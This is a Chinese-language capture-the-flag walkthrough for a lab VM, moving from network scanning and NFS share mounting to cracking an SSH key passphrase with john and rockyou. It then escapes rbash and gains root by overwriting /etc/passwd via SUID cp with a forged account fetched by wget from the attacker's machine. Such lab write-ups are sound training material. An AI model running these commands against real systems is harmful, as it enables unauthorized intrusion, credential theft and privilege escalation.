难度:普通的初级/中级虚拟机,只有几个转折点。
| + 可能会发现它很容易/很难(取决于你的背景)。
| + ......也取决于你攻击箱子的方式。
| |
| + 它应该能在VMware上工作。
目标:获得root
netdiscover -r 192.168.81.0/24
靶机ip:81.157
kali IP:81.137
nmap -A 192.168.81.157
从nmap扫描中,我们看到了多个端口开放,如22:ssh、80:http、111:rpcbind、2049:nfs。
其中111和2049为我们不熟悉的服务,搜索一下,原来是共享文件存储,可以通过远程挂载获得文件。
我们可以通过80端口的网页或者2049的文件共享看看有没有可利用的东西。
先来看一看网页,经查看,默认页面没有可利用信息,探测下级目录。
gobuster dir -u http://192.168.81.157 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20
下级目录中,/admin.php为一个登录页面,但是查看源码后,发现这是一个虚假页面。
网页信息没有可利用信息,我们去研究一下2049开发的服务,查看nfs共享信息,发现共享目录为/home/karl。
showmount -e 192.168.81.157 //showmount查看nfs服务器共享文件,-e指定ip
将共享文件挂载到kali本地。
mkdir /tmp/nfs //创建文件夹 mount 192.168.81.157:/home/karl /tmp/nfs //挂载到此文件夹下 cd /tmp/nfs ls -al
有一个.ssh目录,当我们尝试进入时显示权限不够,该文件的属主属组都为1001,我们在kali本机创建组和用户。
groupadd --gid 1001 testg useradd -m --uid 1001 --group testg -s /bin/bash testu
su - testu //切换用户
此时可以进去.ssh目录。
进入user.txt,得到第一个flag。
其他文件中,id_rsa为私钥,id_rsa.pub为公钥,authorized_keys为认证密钥(搜索rsa了解相关知识)
查看id_rsa.pub和authorized_keys后,我们看到karl,应该为ssh登录的用户名。
下面我把私钥拷贝到kali下的tmp下,用于验证公钥加密,尝试登录发现需要口令。
然后我们使用ssh2john将这个SSH私钥转换为可破解的文件,供john使用,并进一步使用rockyou.txt字典进行口令破解。
ssh2john id_rsa >pass.txt //pass.txt 为生成的文件
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt //破解密码
得到sheep,尝试登录,但是得到的是rbash(受限shell)。
ssh -i id_rsa [email protected]
尝试直接访问bash shell,加上-t "/bin/sh"。
成功获得了正常的shell。
查找启用了SUID的文件。
find / -perm -u=s -type f 2>/dev/null
其中cp启用了 suid ,我们可以写一个passwd,拷贝覆盖掉靶机/etc/passwd,来实现提权。
为了不影响原账号,首先查看passwd文件,复制所有内容,写入kali,并且额外写入一个root级别权限用户。
1.复制靶机的passwd,写入到kali的/tmp/passwd
2.创建根权限级别用户
openssl passwd -1 -salt hack 123456 //成了一个新的加密密码
写入新账号保存到/tmp/passwd。
3.替换passwd文件
首先在kali端开启http服务:
然后在ssh端操作如下:
cd /tmp wget http://192.168.81.137:8000/passwdcp passwd /etc/passwd su hack cd root cat root.txt
成功获取。
john用法
sh2john id_rsa >pass.txt(写入该文件) //将SSH私钥转换为可破解的文件
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt //破解
注意每个文件破解后将密码保存至家目录的/.john/john.pot 里,重复破解会显示。
可以通过john --show +文件名 查看历史破解。